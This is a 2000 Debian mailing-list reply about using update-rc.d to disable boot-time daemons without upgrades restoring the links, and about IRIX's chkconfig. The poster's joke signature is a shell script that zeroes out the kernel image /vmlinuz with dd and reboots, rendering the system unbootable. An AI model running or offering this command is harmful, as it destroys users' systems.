Re: a central script to choose what daemons to start
On Fri, Jun 23, 2000 at 01:50:39PM -0600, Gary Hennigan wrote:
> Well, you can use update-rc.d to accomplish this to some degree, eg.,
>
> update-rc.d -f xdm remove
>
> would cause the removal of the links in /etc/rc?.d to the
> /etc/init.d/xdm script and so xdm wouldn't be automatically started at
> boot. Remember, the scripts in /etc/init.d have to be linked to from
> the appropriate runlevel directory. On Debian the default runlevel is
> 2 and so the scripts that actually get executed are in
> "/etc/rc2.d". Of course everything in there is just a link to a script
> in /etc/init.d/
>
> But, unfortunately, you'll still be stuck redoing this after every
> upgrade because very few (none?) of the packages check to see if
> you've deleted the links, they just go ahead and put them in.
The solution is to leave 1 or more links behind (such as a kill link in
rc6.d). The default links will *not* be modified, provided there is at
least one existing link in place during an update/upgrade. This is how
update-rc.d can tell if a fresh install is taking place, or just an
upgrade. From man (8) update-rc.d:
If any files /etc/rcrunlevel.d/[SK]??name already exist
then update-rc.d does nothing. This is so that the system
administrator can rearrange the links, provided that they
leave at least one link remaining, without having their
configuration overwritten.
>
> The IRIX OS running on SGIs has something like you suggest. They too
> use the SYSV init style, with /etc/rc?.d directories, but they also
> have a utility called chkconfig that allows you to turn the scripts on
> and off. At the beginning of most scripts in /etc/init.d is a line
> like:
>
> IS_ON=/sbin/chkconfig
>
> then before any daemons are started there's a
>
> if $IS_ON <daemon or service name>; then
> <start daemon>
> fi
>
> the chkconfig utility just keeps files in /var/config that have the
> word "on" or "off" in them and executing "chkconfig <daemon or
> service>" returns 0 if that word is "on" or non-zero if the word is
> "off".
>
> It's nice but I don't know if it's everyone's cup of tea.
Ahh, remembers the last "state" before a shutdown. Kind of obviates the
utility of runlevels. Not sure if it's a good thing or not...
--
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
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